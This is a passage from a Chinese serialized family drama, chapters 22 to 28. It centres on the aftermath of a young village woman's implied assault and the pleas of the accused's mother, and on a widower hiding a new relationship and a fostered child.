看着长跪不起、痛哭流涕的婉莹,考虑到婉莹的颜面和自己的态度,亚宁父亲走向大门口,把大门闭上了,他担心村民们看到对谁都不好。
亚宁母亲
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弯着腰轻松的拍打着婉莹的背:“他婶,有啥事了还是进房间里说吧,你看这院子里,门口人来人往,影响不好。”
说着顺便搀扶着婉莹的胳膊希望她站起来,可婉莹就是依旧不起。
看到这情景,亚宁父亲看了妻子一眼对婉莹说:“你起来吧,有事说事,这么下去我绝不会答应你的任何条件,起来了都可以谈。先说事。”
说完亚宁父亲给妻子使了个眼色,妻子用力拉了拉婉莹的胳膊:“他婶,快起来,咱有话到房间里说。”
“哥呀!我求求你,千万要答应我,如果川坐牢了,就一辈子都完了,哥,我给你磕头了。”婉莹不停地在地上磕着头。
看着哭得伤心不止的婉莹,亚宁母亲眼眶湿润了,她只觉得喉咙有东西卡在那里,非常难受:“他婶,你傻呀,不敢这样,会让你哥折寿的,受不起,受不起,快起来,啊。”
婉莹似乎没听见亚宁母亲的话,她依旧边哭边磕头。
亚宁父亲一生气:“你再这样下去,咱连见面的机会都没了,还有说话的机会吗?你站起来咱慢慢的把事讲清,我能帮忙就给你帮忙。先起来!”
亚宁父亲的话似乎起作用了。
婉莹不磕头了,她只是哭着站了起来。
亚宁母亲扶养婉莹进了房间坐了下来。
晓雅父亲紧随其后。
坐定后,婉莹用袖口擦完眼泪,把手伸进口袋里拿出一沓钱!
她把钱放在亚宁父亲坐的炕头。
亚宁父母面面相觑,不明就里。
“哥,这算是我代娃向你认的错,你收下吧。”婉莹放下钱向后退坐着说。
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第22章 女儿被叫回,往事浮出水
婉莹终于从地上爬了起来,披头散发。
亚宁父亲大声质问:“你还有脸来这家里说这个事,今天是在我家,不然我就把你踩成烂泥了!赶快走,别丢人了,我丢不起这人!”
婉莹并没有走,她把亚宁父亲通到手里的钱往炕头一放:“哥,嫂,你今天就是把我打死,我也要把这钱放在这儿,我教子无方。你原谅我吧。要打你俩就打吧!”
婉莹说完,又跪倒在地上。
亚宁父亲浑身发抖。
看到被气得要死的老公,亚宁母亲急忙上前扶住老公往炕边走去,坐在炕边。
亚宁母亲回过头冲婉莹大喊:“你今天要在这非闹出人命不可吗?赶紧滚!我不想见你!”
婉莹低着头,等着亚宁母亲的发落。
亚宁母亲用捶打了一下婉莹大声说:“你赶紧滚!赶紧!”
婉莹又趴在地上磕了两个头小声说:“哥,嫂,我打也挨了,骂也挨了,钱给你放到这儿了,这事希望你们高抬贵手,放何川一马。等哥好了,我再来。”说着婉莹又从口袋里掏出些钱放在旁边的椅子上,起身就走!
亚宁母亲拿起炕头和椅子上的钱急忙追到院子:“把你钱拿上,这事跟钱没关系。”
婉莹头也不回,只是快速的往大门口走。
当亚宁母亲追到大门口时,婉莹也出了大门,连颠带跑地跑远了。
亚宁母亲拿着钱愣在那里!
就在婉莹在亚宁家下跪的当天,亚宁正在心疼的舍宿里坐立不安!
她自从上次跟父母吵架后已经在这里待了快半个月了。
虽然父母并没有来找自己,亚宁也不希望父母来。在她的心里,总有一种恐惧和担心,就是害怕待在家里,害怕父母问及她心里那最不愿意提及的事。虽然她和心疼同守诺言,此事烂在肚子里一辈子都不能往外说,但报警的处理让她俩始料未及。
报警时公安信誓旦旦说保护受害人隐私,但几次频繁到家以及把自己问得想吐的问题足以让她俩的诚诺坚守慢慢的开始显山露水了。
一想到这,亚宁就心烦意乱,坐卧不安,这不仅牵扯到自己和武的婚姻走向,更是牵扯着自己的终身归宿!
亚宁咋都想不到的是,在意外和明天中,真不知道哪个先来?
她用自己的亲身体会明白了意外往往是在不经意间瞬间发生,以至于给自己根本没有退路可言!
此时的亚宁并不知道父母正在家里经历着揪心的阵痛和怨气的积压!
晚上九点多,当遭受极大伤痛的父母赶到乡政府后,亚宁被怒气冲冲的父母叫回到了家。
正在县上培训班上课的心疼对此毫不知情。
在回家的路上,一家三口沉默不语,只是赶路。
平时白天亚宁一个人走这段路的时候都深感害怕,而今天晚上亚宁都不知道有害怕两个字。
母亲走在最前头,父亲走在最后头,推着自行车的亚宁走在父母中间。
一言不发的父母只是低头走着路,寂静的夜晚,只能听到颠簸的路面把自行车的链条和护链板抖得发出当当当的撞击声。
亚宁心里是一万个不同意回家,但今天看到沉着脸的父母,她没敢顶嘴,她意识到好像有什么大的事件发生。
她推着自行车,心中涌起一阵恐慌。难道是自己隐藏的秘密被父母发现了?她的手不自觉地握紧了车把,心里充满了绝望。亚宁深知名声的重要性,一旦这件事被公开,她的一生
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可能就会被毁掉。她无法想象别人会用怎样的眼光看待她,流言蜚语会如何侵蚀她的生活。
愤怒如火焰般在她心中燃烧,她将所有的罪责都归咎于那个男孩。他怎么能这样对她?他必须为自己的行为付出代价,坐牢是他应得的惩罚。她暗自发誓,一定要让他受到法律的制裁。
然而,在内心深处,她也感到一丝无助和迷茫。她不知道该如何面对这样的局面,不知道未来的路该怎么走。
名声的重要性让她感到沉重的压力,她害怕失去何武的认可和尊重。但同时,她也意识到,自己的人生并不仅仅取决于别人的看法,她需要重新审视自己的价值观和生活态度。
终于回到家了。
亚宁看了一眼挂在墙上的钟表,10点37分。
平时40来分钟的路程,今天竟走了一个多小时。
回到家了后,谁都没吭声,亚宁直接进了自己的房间,她把门反锁上,她害怕父母来她房间。
不到半个小时,亚宁看到父母房间的灯已关掉,他们睡觉了。
亚宁这才放心的睡去了。
第二天一大早,平时勤快的父母并没有去地里劳动。
父亲一直虎着个脸不和亚宁说话,只在院子里装着苹果。
亚宁跑过去帮忙,他沉着脸说:“跟你妈做饭去,我这儿不要人。”
亚宁不理父亲的话,只是低着头干活。
她利索地装着苹果,她知道父亲在生自己的气,所以恨不得马上把院子这一堆装完。她心里非常着急,她不想跟父亲呆在这里,她害怕父亲问及她最不愿意提及的心事。
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第23章 往事历历在目,父母担心成真
亚宁母亲从婉莹的话语中听出来了自己不愿意知道的事情,在没有见到亚宁之前,一切都是猜想。
昨晚和她爸把亚宁从乡政府连夜叫回来,并没有提说此事。现在亚宁母亲急切的想知道女儿是不是真的受到了伤害?
亚宁母亲突然问道:“你是不是让何川那小子欺负了?她挨你身子了吗?他对你做了什么?”
亚宁没想到母亲问得如此直白!
当母亲一连串的问题全抛出来时,亚宁情绪失控,放声痛哭,压在心里的伤痛还是被揭开了。
那天亚宁的闺蜜心疼让亚宁陪自己去县城看她男朋友。
亚宁兴高采烈地和心疼来到了县城。
那天下午,当她们来到心疼男朋友孙志奎的宿舍时,并没有见到孙志奎。
一脸茫然的心疼和亚宁就把提的东西放在门卫室,正准备上街溜跶,骑着自行车的孙志奎回来了。
相互见面后,甚是激动一番。
孙志奎把心疼带来的东西往自行车后一放说:“走,咱们先去宿舍,等一会儿下班了一起吃炒菜。”
路上孙志奎问亚宁:“你咋在家里越来越白了,有啥绝招给我介绍一下,让我也白一白。”
“你并不黑呀,为啥耍我?”亚宁说。
“我原来白,现在不知咋回事,发现自己越来越黑了。”
看着孙志奎认真的样子,心疼笑着说:“羊在山上晒不黑,猪在圈里捂不白,底板不好,一切白玩。”
“这话伤害不但大,侮辱特大,你嘴里就说不上来过一句让人高兴的话。”
说完,三人笑了起来。
到了宿舍,孙志奎把心疼和亚宁安顿好后正准备离开,心疼叫住了他:“哎,我说你现在是胆子越来越肥了。”
孙志奎不知所云?
心疼指着放有烟头的烟缸:“你闻闻,你房子全是烟味,你啥时候学会抽烟了?”
原来是这事。
孙志奎顺便从桌子上撕了两张纸,把烟头倒在纸上说:“我也觉得房子被烟熏得难闻,等何川回来了,我给他说一下,不要在房间里抽烟了,确实难闻。”
说着便用便笺纸把倒在上面的烟头全部包起来拿在手中准备扔掉。
“何川?”心疼问。
“对呀,就是上学时帮我给你送信的何川。”
“我知道是他,我的意思是他今天来过?”心疼解释道。
“昨天来的,找我聊聊,一会等他回来咱去吃炒菜。”
“他住你这里?”
“对呀。”
“他干啥去了?”心疼问孙志奎。
“他好像跑到录像厅看录像去了,我下班了他就回来了。”孙志奎说着就往外走:“你在这等我一下,我到西关给个台商送个通知,一会儿就回来了,你先在房间里,电壶里有水,自己倒,我忙去了。”
心疼看着着急样子的孙志大奎摆了摆手说:“行,知道了,这儿你不用管了,忙去吧。”
心疼经常来这里,对环境还是轻车熟路。
她把电壶里的水倒在盆子里:“宁,用热水洗洗脸,我给咱接点凉水去。”
说完心疼端着脸盆在门口的水池里接了些凉水端了进来。
“你先洗,我到水池那去洗。”亚宁对心疼说。
“你洗,我先打些热水去。”
心疼说着,顺便提着两只电壶到锅炉房去打水了。
走到半路,心疼碰到了她的上级领导,两人就心疼收林产税的相关事宜聊了起来。
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在孙志奎宿舍洗完脸的亚宁正要去倒水,一个人在接进来了。
那人看见亚宁,两个人同时愣了一下。
进来的正是刚看完录像的何川。
他看到亚宁,先是一惊,觉得眼前这个女孩长得太漂亮了,跟他刚看的录像上的港台明星一样好看。
何川不禁心里一阵慌乱。只觉得呼吸都紧张了,口干舌燥,不停地咽着唾沫,用舌头黏着嘴唇。
亚宁看到何川的举止,当他们四目相对时,亚宁觉得很奇怪,特别是他看自己的眼神,给人一种似乎痴迷的状态。
亚宁的脸一下红到了脖子根。
她端着脸盆在原地站了数秒,被何川那火辣辣的眼神盯得不好意思。
她急忙端着脸盆往外走,听到何川那浑厚的声音:“上沟村亚宁吧?”
亚宁没吭声她知道这是孙志奎的同学何川来了。
亚宁倒完水回到宿舍,坐在床边抽烟的何川问:“你就是上沟村的亚宁?”
“你就是何川?你咋认得我?”亚宁边放脸盆边问。
“你咋知道的我名字?”
“志奎刚说的,我想说的就是你。”亚宁小声说。
“你还分析的好,上二中时,你经常和心疼在一起,好像就没有分开过?这几天没见,变得跟城里人一样了。”
听到何川的夸奖,亚宁又一次脸红了。她没想到何川说话蛮有一套的。
她说:“农村娃,整天在地里干活哩,哪里是什么城里人,你真是个会说话的人。”
“真的,我没骗你,人说高山出俊样,你看咱那里的不管男娃女娃都皮肤好的很
,有时比城里人还白净。”
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第24章 陪友见男友,竟惹自身祸
孙志奎拿着福利电影票带着3人到电影院看完电影已经10点多了。
电影结束后,孙志奎一行四人来到了一家招待所。
登记房间时,何川要求不给自己登记,他认为三个房间太费钱,他跟孙志奎要了宿舍的钥匙说是住到宿舍去。
孙志奎也没多想就把钥匙给了何川。
服务员在登记完后,领着他们去了房间。
因为登记迟,两个房间不在同一楼层,孙志奎为显地主之谊,把亚宁安排到208房间,他和心疼住到了302房间。
几个人在302室聊了一会儿,何川觉得他和亚宁有点碍事,就给亚宁使了个眼色,两人走出302室。
出了门,何川对亚宁说:“咱俩这灯泡太影响志奎他们的情绪了,让人家说咱没眼色。”
亚宁说:“我原不打算上来,担心人家心里不舒服,结果志奎说早着呢,让咱上去聊,哎,自己应该不上去。”
“那你早说咱都不上去了。”何川埋怨着亚宁没有提醒自己。
“现在好了,咱都不再讨人嫌了。”亚宁说:“各回各家,好好休息。”
何川愣了一下:“你回房间?”
“对呀。”亚宁眨巴着大眼睛一闪一闪。
“这会儿有点早,回去还是个睡不着,要不咱俩看录像走?”何川问着亚宁。
“这都几点了,还有录像?”亚宁疑惑的看着何川。
“只要你看,通宵都有。”何川说。
“还是算了吧,太迟了,明天还爬山玩哩,早点休息吧!”亚宁拒绝着何川的邀请。
“咱看一个多小时就回来了,近的很。”何川在动员着亚宁。
亚宁停在楼梯口犹豫着,小声问:“看完我咋回来?”
“我肯定送你回来呀。”何川急切的望着亚宁。
“那好吧,咱去看到12点。”亚宁同意了:“我要把房间钥匙带上,要不然一会儿回来进不了门。”
何川笑了起来:“带啥钥匙,招待所回来只报208房号,服务员就给你开门,她们就是挣这钱的。”
亚宁不好意思的说:“我还真不知道。”
“现在知道了就走?”何川望着亚宁。
亚宁只好跟着何川下了楼,何川带着亚宁来到了录像厅。
昏暗的录像厅里烟雾缭绕,空气中弥漫着难闻的气味。天花板上的灯光闪烁不定,投下斑驳的阴影。老旧的沙发上坐着几个身影,他们神情专注地盯着屏幕,仿佛被吸引进了另一个世界。
烟雾从他们手中的香烟升起,缓缓弥漫在空气中,让人感到有些窒息。
地面上散落着烟灰和零食包装袋,显得杂乱不堪。录像厅的墙壁微微泛黄,上面贴着一些过时的电影海报,露骨大胆,有些已经剥落,露出斑驳的痕迹。
在这个封闭的空间里,声音显得格外响亮,屏幕中的对话和音效回荡在空气中,夹杂着观众不时发出的笑声和惊叹声。
何川和亚宁找了一个沙发坐了下来,亚宁发现沙发的扶手已经磨损,散发着一股陈旧的味道。空气中还弥漫着一股混合着烟草、汗水和瓜子的异味,让人感到有些不适。
这个录像厅给人一种破败、陈旧的感觉,然而,对于那些喜欢在这里消磨时光的人来说,这里也许是他们暂时逃离现实的地方。
亚宁和何川正坐在屏幕前。屏幕上闪现着一些撩人刺激的滚床单镜头,亚宁的脸瞬间变得通红,他感到心跳加速,手
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足无措。他的目光不知道该往哪里放,眼神闪烁不定,似乎想要逃离这令他尴尬的场景。
然而,与亚宁的反应形成鲜明对比的是,何川却津津有味地盯着屏幕,他的眼睛里闪烁着迷恋的光芒,似乎完全被屏幕上的内容吸引住了。他的表情专注而痴迷,嘴角甚至还挂着一丝不易察觉的微笑。
亚宁偷偷看了一眼何川,心中充满了困惑和不安。他试图转移自己的注意力,但那些刺激的画面却不断地在他脑海中闪现。他觉得自己的身体渐渐发热,呼吸也变得急促起来。
放映间里的气氛变得异常尴尬,亚宁在心里默默祈祷着这一切赶快结束。而何川则完全沉浸在自己的世界里,对亚宁的反应毫无察觉。
亚宁的心跳不由自主地加快了,她面红耳赤,双手不自觉地握紧,眼神中透露出一丝不安。她偷偷瞄了一眼何川,试图从他的表情中找到答案,但何川的脸上只有一种让人捉摸不透的笑容。
那些画面在她眼前不断闪现,让她的思绪越来越混乱。她感到自己的脸颊发烫,仿佛所有人都能看出她的尴尬。她不禁开始后悔跟何川来到这里,心中暗自咒骂自己为什么没有拒绝。
亚宁的呼吸变得急促起来,她想要离开这个令她不适的地方,却又觉得双脚像被钉住了一样无法动弹。
她的目光游离不定,不知道该看向哪里,生怕与何川的目光相遇。此刻,她只希望这一切赶快结束,让她回到招待所的208室。
在一个氛围紧张的场合,亚宁终于无法忍受眼前的一切。她脸色微变,眼神中透露出一丝无奈和失望,轻声说道:“我出去透透气。”说完,她起身离开,脚步显得有些沉重。
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第25章 住宿无着落、男女共一室
正在胆颤心惊的亚宁拿着衣服挡在胸前时,她还没顾得问,房间的门被服务员用钥匙打开了,进来了一个人。
谁?
何川!
亚宁急忙穿起衣服,心里甚是害怕。
后半夜的招待所格外宁静,何川神使鬼差地来到招待所,他让服务员打开了208室的门。
看到何川站在门口,亚宁脸上露出惊讶的表情:“你咋来了?”
“回去大门关了,叫不开,进不去了。”何川边往前走边说着。当何川提出要和亚宁同住一个房间时,亚宁的脸色瞬间变得苍白,她的心跳急速加快,脑海中一片混乱。男女同住一个房间,这怎么可以呢?她感到无比的惊恐和尴尬。
亚宁的声音有些颤抖,"这...这怎么行呢?我们...我们不合适住在一起。" 她的眼神中充满了决绝。
何川连忙解释道,"我知道这很突然,但是我实在没有别的地方可去了。我保证不会给你带来任何麻烦。" 然而,亚宁的内心依然充满了顾虑和不安。
她咬了咬嘴唇,"这样真的不太好,我会很不自在的。你还是去问问招待所的工作人员,看有没有其他的安排吧。" 何川看出了亚宁的坚持,他无奈地叹了口气,"好吧,我理解你的感受。那我再去想想办法。"
何川出了208室,亚宁松了口气,吓死宝宝了。
亚宁用手拍着自己的胸前安慰着自己:这下好了。她走到门前拉了一下门,确认门已关好。
何川的离开多少让亚宁有点放心,她并没有立即上床,而是坐在床前,她觉得一个人住在这个房间有点害怕了。
这个该死的心疼,把我一个人扔在这里,自己去和男朋友住在一个房间,太不够哥儿们了。夜已深,亚宁合衣躺在床上,心中惦念着在家的男友,心疼着他的辛苦。
男友每天早晨要到蔬菜批发处批发菜,然后骑着自行车,车后面架着菜筐,走街串巷,风里来,雨里去,还不是为改善家里的经济状况吗?
虽然父亲一直反对男朋友从事蔬菜的贩卖,但从眼前的实际来看,这是唯一可以贴补家的一种方法。
亚宁想到这儿,便想起父亲曾说过一但我一过门,就让我去镇上开小卖部,想法很好,但真的能实现吗?
不管父亲资助与否,一但结婚,必须和男朋友想办法多挣钱。
钱就是人的胆!就是人的底气!
钱必须是自己挣来的,不一定是省出来的。
亚宁从床上站了起来,到时候想办法多挣钱,趁年轻,好好奋斗。她坚信,年轻就是资本,年轻就是财富!这种意识早已在自己的心里根深蒂固。
亚宁喝了一囗水,当她把水杯放到床头柜上时,只觉得房间里一片寂静,只有她一个人的呼吸声。
亚宁心里埋怨着自己,为啥不把男朋友也叫来,让他也来感受一下这县城和乡下的差距,现在一个人在这么大的房间里孤独胆怯。
说到这里,她又埋怨起心疼,不给自己提前说,好让自己有个思想准备。
太突然了,说走就走,害的自己都没来得及和男朋友打招呼,匆匆忙忙陪心疼来到县城。
明天还得到县城西边的山上去爬山,任务繁重。
想到这儿,亚宁准备上床睡觉。
突然,随着钥匙的插孔声,门把手动了一下,接着传来轻轻的推门声。亚宁的心跳瞬间加速,
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一股恐惧涌上心头。她紧紧地盯着那扇门,不敢动弹,生怕会发生什么可怕的事情。
门缓缓地打开,何川又让服务员打开了亚宁的房门。
他的出现让亚宁的恐惧达到了顶点,她浑身发抖。
就在何川快要接近亚宁的时候,她终于找到了一丝勇气,大声喊出:“你怎么又进来了?”
何川被她的问话声吓了一跳,停下了脚步。他的脸上露出一丝尴尬和歉意,解释道:“没办法了,服务员说没房间了,我只能回到这里。”
亚宁的心跳逐渐恢复了正常,她松了一口气,同时也感到一丝愤怒。她斥责何川的行为,告诉他这样突然闯入别人的房间是非常不礼貌和不合适的。
何川连连道歉,说真没地方去了,让他在这儿将就一晚。
亚宁的恐惧渐渐消退,但她仍然感到心有余悸。这个夜晚,她将无法入睡,心中充满了对陌生人侵犯自己私人空间的不安。何川坐在了对面的床上:“我可以和你说会儿话不?我这会儿也睡不着。”
“说啥?”亚宁问。
“我就是觉得咱都是年轻人,能说到共同的话题上。”何川快言快语。
“咱共同话题是啥?”亚宁显得不耐烦了。
“说说你从学校回来这几年都干了啥?说说上学时的有趣事,话题多得太太,随便说都行。”
亚宁实在是没有耐心听他的话了:“你没看几点了,还要说一共同话题?”
“那就听你的,啥也不说了,反正今天还没午休,有点困了,你的心思我理解,我不会伤亏你的,放心。”何川笑着对亚宁说。
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第26章 女朋友要辞职,知晓内情装不知
吴之玄和岳父来到国静上班的餐厅,看到正在锁门的国静,吴之玄笑着对她说:“你现在是干的老板应干的活。”
国静把钥匙往包里一放笑着说:“我哥真会开玩笑。”
三个人笑了起来。
这时刘辉开着吴之玄的那辆黑色桑塔纳轿车来接吴之玄。
吴之玄拉开车门正准备上车,张国静的一句话把吴之玄吓了一大跳!
“哥,你该有女朋友了吧?”
吴之玄愣在车门旁,半天不知说什么好。
岳父张老头打圆场说:“你哥的事,你胡说啥哩,赶紧往回走!”
张国静笑着说:“我哥还学王宝钏哩!十八年寒窑过苦日子?”
这句话,把吴之玄说的更是难堪。
吴之玄做梦都不会想到,张国静今晚当着岳父的面说出这样令人费解的话,可能太年轻了,不会说话吧?
吴之玄知道,沈莎莎和自己的事一直在瞒着岳丈家的人,原想等妻子的三周年一过就和沈莎莎结婚,谁知在妻子三周年的前一天竟把小舅子张国栋从梯子上摔了下来,一直躺在市医院的重症监护室到现在都昏迷不醒。
他只好先安慰着沈莎莎,把婚期一拖再拖。
莫非国静知道了他和沈莎莎的关系?
如果国静知道了这件事,那吴之玄在岳丈家人面前的形象将一落千丈。
岳丈家如何看待自己?
一个妻子离世的男人,竟偷偷地和医院的护士住在一起,而且还生了孩子,为掩人耳目把孩子还寄养在农村的山沟里。
而吴之玄却表面还显出一副忠于妻子的行为,为岳丈家的大事小情总是操心费神,跑前跑后。
虽然在给国栋看病的事上,岳父老在心怀歉意,认为吴之玄不但出力还出钱,真愧对之玄。
而之玄考虑的是,事是在自己家发生的,他出钱理所当然。
现在国静的话好像看透了吴之玄的两面性,吴之玄尴尬的笑了笑:“国静人小还爱操心,哥谢谢你了。”
说完坐上车,朝岳父和国静摇了摇手,小轿车一溜烟开走了。
坐在车上的吴之玄一声不吭,他在考虑,如果岳丈家知道了他和沈莎莎的关系,他在岳丈家的地位肯定保不住。
这都无所谓,关键是自己这么多年来在岳丈家树立起来的好形象将会瞬间土崩瓦解、名誉扫地。
这对于把面子看得非常重的吴之玄来说,似乎成了一种心理负担。
从市里回到县城,吴之玄下了车向出租屋走去。他发现房间的灯还在亮着。
这都快1点了,沈莎莎还没睡?还是她忘了关灯?
吴之玄估计沈莎莎睡觉了,轻脚轻手的打了房门。
刚推开门,吴之玄吓了一跳。
哭红了眼的沈莎莎正在坐在沙发上抹眼泪。
“我早上走时你还好好的,你这是咋了?不睡觉?咋还哭?想我想哭了?”吴之玄笑着走向沈莎莎。
沈莎莎没吭声。
吴之玄坐在沈莎莎身旁:“我想把你拥入怀里,可这胳膊你看。”
抹眼泪的沈莎莎看了一眼吴之玄架在胸前的胳膊,娇嗔的靠在他左肩膀,带着哭腔问:“你整天忙得抽不出时间?”
“能抽出来呵,时间我说了算。几时想去哪就去哪儿啊,时间对我来说是自由的。你想去哪儿?咱们去。”
吴之玄用左手拍打着沈莎莎的肩膀。
“我想娃了,你看有时间吗?”
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沈莎莎专注的望着吴之玄。
吴之玄一下愣住了。
是啊,自从把孩子放到山沟里的宁馨家,现在都多长时间没有见到孩子了,孩子现在变成什么样了?奶粉够不够?身体好不好?自己一点都不知道。
忙完妻子三周年的事,原本打算去,谁知国栋又住院了,把自己搞得团团转。
现在沈莎莎提出想见孩子,自己何尝不是?
“那就这个礼拜天咱去,你准备些东西。”
“不要礼拜天,周六就去,晚上我还想和孩子睡一晚上。”
“你担心孩子长大不认你了?”吴之玄笑着问。
“肯定啊,千万不要把我生的孩子养成了别人家的孩子,那我这个当妈的可就惨了。”沈莎莎说出了自己的担心。
“想多了,不会的。咱也是暂时把孩子放在她家,只要咱一结婚,马上把娃抱回来,她还能不认你吗?”
“你老说结婚结婚的,上次就说看孩子顺便把结婚日子定一下,都过了多长时间了,你又把这事就着馍吃了?”沈莎莎破涕为笑问。
“唉!真的是烦人,事就像老摆不顺,总不能按人心上来。人这一生,我看来总是在矛盾中生活。”
是啊,吴之玄在感慨人生之时,多少有些无奈。正因为这些无法按心里想法去实现的事情,总在我们身边接二连三的出现,从而莫名的给自己就带来了焦虑和忧愁。
而这些焦虑和忧愁,正发生在我们每个人身上,包括吴之玄和沈莎莎。
“行了,不早了,休息吧,都快2点了,你等我回来就是说这事吗?”吴之玄站起身准备走向卧室。
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第27章 赞叹养父母的干净,想知受伤的原因
当吴之玄把车开到宁馨村口十字时,才发去宁馨家的路被彩条布搭的棚给占完了。到处站着头上缠白布、穿白衣的人。
原来是把灵堂设在路上,棚中间放着一口黑色的棺材。棺材两旁站着演奏的乐队人员,正在迈卖力的演奏着,刺耳的音响正在播放着乐队演奏的《父亲》这首曲子。
看起来像是哪家在准备埋葬亡人。
正在吴之玄和沈莎莎犹豫的时候,一位村民跑了过来:“这儿不能过,后退后退!”
说着,便用手示意让把车往后倒。
吴之玄没有动,他摇下车窗伸出头:“大叔,我到宁馨家里去,不知从哪儿还能过?”
那人可能是乐队的声音太大没听清,他走到吴之玄跟前猫着腰问:“你刚说啥?”
吴之玄把刚才的话重复问了一下,那人给吴之玄指了指右手说:“从这里上到头,丁字路口左转,直接下来就到了。”
吴之玄按照那人指的路线总算绕到了宁馨家门口。
看到宁馨像蜂蜇一样的左眼:双手提礼品的沈莎莎惊讶的问:“姐,你这是咋了?”
刚一下车,看到怀抱孩子的宁馨,沈莎莎惊了一下问着。
宁馨只是笑了一下:“没事,蜂蜇了。没想到你们今天来,要早知道你俩今天来,我让她伯给你杀个鸡。”
宁馨说着,便把烫好的羊奶给孩子喂。
沈莎莎跟紧走上前想接过孩子,宁馨说:“我喂完了让娃睡吧,娃瞌睡了,醒来了你抱。”
说完笑了一下,开始喂奶。
只见宁馨静静地坐在沙发上,将孩子轻柔地抱在怀中。她的眼神中透着一丝疲惫,但更多的是母爱的温柔。孩子安静地依偎着她,小手紧紧抓住宁馨的衣角。
她轻轻地拿起奶瓶,小心翼翼地将奶嘴塞进孩子的嘴里。孩子立刻吸吮起来,小嘴一鼓一鼓的,显得格外可爱。宁馨的目光始终落在孩子身上,她看着孩子满足的表情,心中充满了幸福。
随着孩子的吸吮,奶瓶中的奶逐渐减少。宁馨时不时地检查一下奶瓶的倾斜角度,确保孩子能顺利地喝到奶。她的动作轻盈而娴熟,仿佛这是她做过无数次的事情。
整个房间里弥漫着一种宁静而温馨的氛围,宁馨和孩子之间的亲密联系让人感到无比温暖。在这个瞬间,时间仿佛静止了,只有母爱在默默流淌。
随着奶粉的慢慢变少,孩子眼睛闭上了,进入了梦乡。
宁馨动作轻柔,仿佛生怕惊醒怀中的宝贝,她小心翼翼地将孩子放在床上,为他铺开温暖的被褥,让孩子睡在属于他的小天地里。然后,宁馨侧身斜靠在孩子身旁,轻轻地拍打着孩子的背部,节奏舒缓,如同温柔的摇篮曲。她的目光充满了慈爱,静静地凝视着孩子,看着他的眼睛逐渐合拢,进入甜美的梦乡。在这宁静的氛围中,时间仿佛静止了,只有宁馨的爱与关怀,伴随着孩子一同进入了那个梦幻的世界。
看着入睡的孩子,宁馨轻轻的下了床,小声说:“咱到隔壁去,让娃睡觉。”
几个人大气不敢出来到了另一间房。
“来就来了,还带啥东西哩?”宁馨看到吴之玄提的礼品和水果责怪着。
“好长时间没来了,所以就多买了些。”吴之玄说:“我哥人哩?”
看到两条阿诗玛烟,宁馨说:“你哥到后村给人帮忙埋人去了,你把烟拿回去,我不让他抽了。”说着宁馨就把刚放在桌子上的烟递到吴之玄手中。
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“咋不让我哥抽?”吴之玄没有接烟。
“嫌有娃哩,不让他抽。”宁馨拉着烟又递给沈莎莎。
沈莎莎看了一眼吴之玄,没有接烟:“那是给我哥拿的,我不敢接。”
宁馨生气状说:“整天给抽啥烟哩,满嘴烟味,我嫌把娃熏的。”
看到没人接烟,宁馨只好把烟放到桌子上,她坐在旁边的椅子上问:“你俩这段时间忙啥哩,好长时间没来了?”
沈莎莎说:“是他忙哩,我一个人来不了,又不会开车。”
“你要学哩,想娃了一个人就开上来看看娃。”宁馨说:“自己会了就方便多了。”
“咦,馨姐说这我还没考虑,好主意。”沈莎莎望着吴之玄说。
吴之玄点了点头。
“娃在这儿肯定给你和我哥添了不少麻烦,我还真有点过意不去的。”沈莎莎说:“这段时间乖着没?”
“娃乖的很,只要吃饱,光只顾玩,从不闹。就是说给娃注射那啥针没打哩。”
“马上6个月了,百白破,我和之玄明天就去注射。”沈莎莎说。
“那你明天又得跑一趟?”宁馨说。
“我俩今晚不走了,你没看还带的肉蛋之类的伙食,她要和娃今晚住一晚上,明天带你和孩子去打针。”吴之玄对宁馨说。
听到这话,宁馨一惊:“哎哟,你不早说,那快让我把房子收拾一下。”
说着宁馨就要上炕被沈莎莎拦住:“收拾啥哩,这不挺好的吗?”
“这个房间昨天才打扫的,今天没收拾。”宁馨有点歉意。
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第28章 入住农家好安静,细听受伤的来由
天黑了,沈莎莎和宁馨陪孩子睡在一起,吴之玄和宁馨老公普选住另一间房。
在吴之玄的脑海里,老在想着普选在吃饭时对宁馨的那句被蜂蛰了的话不解的表情。
吴之玄躺在床上,眉头紧蹙,眼神中透露出一丝忧虑。他静静地凝视着房顶,心中不断地盘算着。
下午抱孩子玩的时候,孩子对自己这个亲生父亲老是排斥,当年和前妻国瑛生第一胎时,自己根本就没觉得孩子还有认生的表现,或许自己当时根本也没留意这些细节。
想到宁馨肿胀的左眼,又想到吃饭时普选的表情,吴之玄觉得有必要问清宁馨真正受伤的原因。
如果两口子是因自己的的孩子而发生的大打出手,那么这个责任也是吴之玄和沈莎莎要承担的。
承担什么责任?
无非是给普选两口经济补偿。吴之玄在想,经济补偿是一种方式,而且每个月的抚养费都在多给12百,为的是把孩子照顾好。
但现在如果真是普选两口为孩子吵架宁馨因此受伤,那这个家孩子还能呆吗?
现在已经开始认生的孩子的记忆力在慢慢形成,对外界的喜怒哀乐均有所表示,一旦两人打架吵闹,孩子能在这样的环境中生活吗?以后长大成人人生观会是什么样子?
许多的事例告诉吴之玄,孩子在一个充满争吵的家庭环境中生活,对其性格有着极具破坏性的伤害,甚至于情性扭曲不健全。
如果是这样的结局,那么孩子还能在这个家里被抚养吗?这可是关系到孩子一生的人格性情啊,也是自己这个当父亲的应尽责任。
吴之玄想到这里,他开始旁敲侧击,想问出这其中的真实隐情。
吴之玄从床上坐了起来,他把外衣披在身上对说普选说:“哥,你瞌睡了?”
刚还眯着双眼的普选睁开眼睛,看着靠在墙上的吴之玄:“咋了?不习惯我们这山沟的环境睡不着?”
吴之玄笑了:“什么习惯不可惯?我倒是很喜欢这静谧的夜晚,没车人流,没有车声,真是太安静了,以至于安静得让人有些不适应了。”
“你说住到城里有啥好处,一是费钱,二是嘈闹,哪有农村好。”普选说着也坐了起来。
吴之玄从口袋里掏出烟递给普选一支,普选摆了摆手说:“抽不了了,呛得很。”
“你还真能把烟戒住?”
“娃在哩,抽烟对娃不好。”
这句话让吴之玄有点小感动,没想到自己把孩子放在这里还让普选做出了戒烟的决定,而且意志坚定,可见一家人对孩子是多么的疼爱。
“馨姐和你为孩子都牺牲了不少,我做为父亲觉得亏欠你们的也不少。”吴之玄歉意满满。
“你咋说这话哩,人说应人事小,误人事大,谁叫我答应你俩这事哩,一家人别说那客套话。”
“今天刚到看到馨姐眼睛肿了,也没问清到底在哪儿让蜂蜇了?”吴之玄抛出了想要问的话。
普选愣了一下,他把外衣往旁边一放,又躺了下去:“她没给你说是在哪蜇的?也没告诉你干啥去了被蜂蛰了?”
